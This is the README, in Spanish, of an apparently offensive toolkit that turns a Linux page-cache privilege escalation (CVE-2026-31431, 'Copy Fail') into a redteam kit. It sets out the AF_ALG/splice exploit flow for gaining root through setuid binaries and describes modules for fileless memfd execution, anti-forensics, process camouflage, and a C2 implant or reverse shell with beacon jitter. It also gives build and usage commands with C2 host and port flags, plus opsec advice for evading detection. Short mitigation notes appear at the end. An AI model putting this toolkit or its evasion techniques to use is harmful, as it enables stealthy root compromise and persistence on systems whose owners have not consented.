Copy Fail -- CVE-2026-31431
Implementación robusta en C para operaciones de redteam y pruebas de penetración autorizadas.
⚠️ Aviso legal: Esta herramienta está destinada exclusivamente para investigación de seguridad autorizada, pruebas de penetración autorizadas y análisis defensivo. Úsela únicamente en sistemas que posea o para los cuales tenga permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal.
🚀 El desarrollo principal se ha trasladado a GitLab.
Este repositorio se mantiene activamente aquí. Para incidencias y contribuciones, use GitLab.
Tabla de Contenidos
Visión General
Este proyecto es una versión robusta y lista para producción en C del exploit de escalada de privilegios local CVE-2026-31431 ("Copy Fail"), divulgado originalmente por Theori y Xint el 29 de abril de 2026.
La prueba de concepto original estaba escrita en Python y diseñada para demostración de investigación. Esta implementación lo transforma en un kit de herramientas de grado redteam con:
- Cero artefactos en disco (ejecución sin archivos basada en memfd)
- Descubrimiento automático de objetivos (enumeración de binarios setuid con conocimiento de MAC)
- Antiforensia (eliminación de caché, restauración de marcas de tiempo, autodestrucción)
- Control del operador (ejecución activada por señal con tiempos de espera configurables)
- Compilaciones estáticas multiplataforma (x86_64, ARM64, RISC-V mediante musl/zig)
Investigación Original
CVE-2026-31431: Copy Fail
Mecanismo de Vulnerabilidad
La vulnerabilidad reside en el subsistema criptográfico AF_ALG del kernel de Linux. La plantilla AEAD authencesn implementa una optimización in situ para el descifrado: cuando el texto cifrado se suministra mediante splice() desde la caché de páginas de un archivo, el kernel reutiliza la misma página como origen y destino.
El flujo del ataque:
- Abrir un binario setuid (por ejemplo,
/usr/bin/su) en modo solo lectura
- Configurar una operación AEAD
authencesn(hmac(sha256),cbc(aes)) a través de AF_ALG
- Suministrar texto cifrado mediante
splice() desde la caché de páginas del archivo objetivo
- La operación de descifrado (fallida) sobrescribe 4 bytes de la página en caché antes de que la autenticación la rechace
- Repetir para cada ventana de 4 bytes de la carga útil
execve() el objetivo -- el kernel carga páginas mutadas desde la caché, otorga credenciales setuid-root
- La carga útil pivota a un shell root completo
Punto clave: El inodo en disco nunca se modifica. Solo se muta la caché de páginas en memoria, lo que hace que la detección forense sea significativamente más difícil que en exploits tradicionales de sobrescritura de archivos.
Nuestras Mejoras
Este proyecto amplía la investigación original con endurecimiento orientado a redteam en nueve módulos.
1. Primitiva de Exploit Endurecida (patch_chunk.c)
2. Descubrimiento Automático de Objetivos (target_discovery.c)
- Escaneo en tres fases: objetivos prioritarios → directorios estándar → escaneo profundo
- Puntuación consciente de MAC: penaliza binarios con perfiles de AppArmor/SELinux
- 18 objetivos prioritarios:
su, sudo, passwd, pkexec, mount, ping, etc.
- Cadena de respaldo: si falla el objetivo principal, selecciona automáticamente el siguiente mejor candidato
- Conciencia de Snap: omite
/snap (setuid no tradicional)
3. Suite Antiforensia (anti_forensics.c)
4. Ejecución Sin Archivos (memfd_exec.c)
- memfd_create + fexecve: ejecutar sin ruta de sistema de archivos
- Camuflaje: memfd nombrado como
kworker, anon_inode, eventfd (se mezcla en /proc/$pid/fd/)
- Fork-and-forget: doble fork para crear proceso huérfano (PPID=1)
- Descifrado en memoria: XOR y RC4 descifrar-luego-ejecutar (la carga útil nunca está en texto plano en disco)
5. Entrega de Carga Útil Etapa-1 (stage1.c)
6. Implante C2 Etapa-2 (stage2_template.c)
- Bucle de reconexión resiliente con retroceso exponencial
- Tres distribuciones: uniforme, triangular, jitter exponencial
- Control por señales:
SIGUSR1 (disparar), SIGUSR2 (estado), SIGTERM (apagar)
- Beaconing DNS: verificación de estado C2 sigilosa antes de conexión TCP
- Suplantación de proceso:
[kworker/N:0] en ps/top
7. Ocultación de Procesos (proc_hide.c)
- Sobrescritura de argv[0]: reemplazo in situ de
/proc/$pid/cmdline
- prctl(PR_SET_NAME): nombres tipo hilo de kernel (límite de 16 bytes)
- Sanitización de entorno: borrado selectivo de
SSH_*, AWS_*, TOKEN*, etc.
- Desvinculación de padre:
setsid() + setpgid() para independencia de terminal
8. Control de Disparo por Señal (signal_trigger.c)
| Modo | Comportamiento | Caso de Uso |
|---|
trigger_oneshot() |
Espera de cero CPU: sigsuspend() en lugar de bucles de sondeo.
9. Jitter de Sueño (sleep_jitter.c)
- Tres backends de RNG:
getrandom(2), /dev/urandom, rdtsc de respaldo
- Muestreo por rechazo: elimina el sesgo de módulo en distribución uniforme
- Compensación de deriva:
sleep_scheduled() mantiene el intervalo promedio a pesar del jitter
- Detección de sandbox:
check_sandbox_acceleration() detecta sleep() parcheado
Arquitectura
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orquestador) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │Ocultar │ │Descubrir│ │Explotar │ │Limpiar │ │
│ │Proceso │ │Objetivo │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Capa de Módulos Centrales │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Capa de Entrega y Evasión │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Capa de Carga Útil (Etapa-2) │ │
│ │ stage2_template.c (reverse shell / implante C2) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Compilación
Requisitos
- GCC o Clang
- GNU Make
- Cabeceras de Linux (
linux-libc-dev o equivalente)
- Opcional:
musl-tools (para compilaciones estáticas pequeñas)
- Opcional:
zig (para compilación cruzada moderna)
- Opcional:
dpkg-deb (para empaquetado Debian)
Inicio Rápido
# Compilación estándar redteam (optimizada, reducida, estática)
make redteam
# Compilación pentest (símbolos, optimización moderada)
make pentest
# Compilación de depuración (ASAN, símbolos completos)
make debug
# Verificador de vulnerabilidad (no destructivo)
make checker
Compilación Cruzada
# ARM64 (objetivos en AWS/Azure cloud)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (embebido/IoT)
make cross-armhf
# Compilación cruzada con Zig (sin instalación de toolchain)
make cross-zig-arm64
make cross-zig-riscv
Compilación Estática con musl (Binarios Pequeños)
make musl-static
# Produce binarios estáticos de ~50-100 KB sin dependencia de glibc
Paquete Debian
make deb VERSION=1.0.0
# Produce: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
make info
# Muestra: CC, CFLAGS, LDFLAGS, arquitectura, disponibilidad de toolchain
Uso
Modo Estándar (Disparado por Señal)
# Desplegar implante
./exploit &
IMP_PID=$!
# Disparar explotación remotamente
kill -USR1 $IMP_PID
# Solicitar estado (sin acción)
kill -USR2 $IMP_PID
# Apagado ordenado
kill -TERM $IMP_PID
./exploit -t # Disparar ahora, sin esperar señal
./exploit -t -c c2.example.com -p 9999
Configuración Personalizada
./exploit \
-c c2.redteam.internal \ # Hostname C2
-p 4444 \ # Puerto C2
-d 300 \ # Retardo inicial de 5 minutos
-T 7200 \ # Tiempo de espera de disparo de 2 horas
-n # Omitir verificación de vulnerabilidad
Verificación de Vulnerabilidad No Destructiva
./vulnerable
# Código de salida: 100 = vulnerable, 0 = parcheado, otro = error
Módulos
Seguridad Operativa
Mejores Prácticas Redteam
- Desplegar durante períodos de baja actividad para minimizar correlación
- Usar jitter exponencial para intervalos de reconexión (evita detección de beaconing)
- Disparar mediante SIGUSR1 en lugar de disparo automático (el operador mantiene el control)
- Siempre ejecutar limpieza (
full_cleanup) incluso si el exploit falla
- Preferir ejecución memfd sobre cargas útiles en disco
- Doble fork para persistencia (
memfd_fork_exec_detach)
- Monitorear aceleración de sandbox antes de ejecutar
Artefactos Forenses
Detección y Mitigación
Detección Defensiva
Mitigaciones
- Parche del kernel: Actualizar a Linux >= 6.14 con el commit
a664bf3d603d
- Livepatch: Aplicar backport específico de la distribución
- SELinux/AppArmor: Imponer perfiles en binarios setuid
- Monitoreo eBPF: Rastrear combinaciones
AF_ALG + splice()
- Verificación de caché de páginas: Comprobaciones periódicas de integridad en binarios críticos
Créditos
Investigación Original
Puerto Base en C
- Tony Gies --
tgies/copy-fail-c
- Proporcionó la implementación base en C usando
nolibc
- Envoltorios de llamadas al sistema multiplataforma e infraestructura de compilación
Este Fork Endurecido
- Endurecimiento orientado a redteam en 9 módulos
- Funciones de seguridad operativa (antiforensia, evasión, sigilo)
- Soporte de compilación cruzada (musl, zig, multiarquitectura)
- Control de operador basado en señales y modos de ejecución configurables
Agradecimientos
- Desarrolladores del kernel de Linux por
memfd_create(2) y fexecve(3)
- Mantenedores de
nolibc por la alternativa a libc solo con cabeceras
- Proyecto musl libc por binarios estáticos pequeños
- Proyecto Zig por la moderna cadena de herramientas de compilación cruzada
Licencia
Este proyecto está bajo doble licencia:
Consulte los archivos fuente individuales para identificadores SPDX.
La investigación original y el puerto base en C permanecen bajo sus respectivas licencias. El código adicional de este fork se proporciona bajo la doble licencia anterior para máxima compatibilidad con casos de uso de investigación de seguridad tanto de código abierto como comerciales.
Aviso Legal
Este software se proporciona para investigación de seguridad autorizada y pruebas de penetración autorizadas únicamente. Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por este software. Siempre obtenga la autorización adecuada antes de probar cualquier sistema que no posea.
Si descubre esta vulnerabilidad en sus sistemas:
- Aplique el parche del kernel (commit
a664bf3d603d o backport de la distribución)
- Monitoree los indicadores de compromiso (IoCs) listados anteriormente
- Revise
/var/log/audit/ y la telemetría de EDR en busca de anomalías de AF_ALG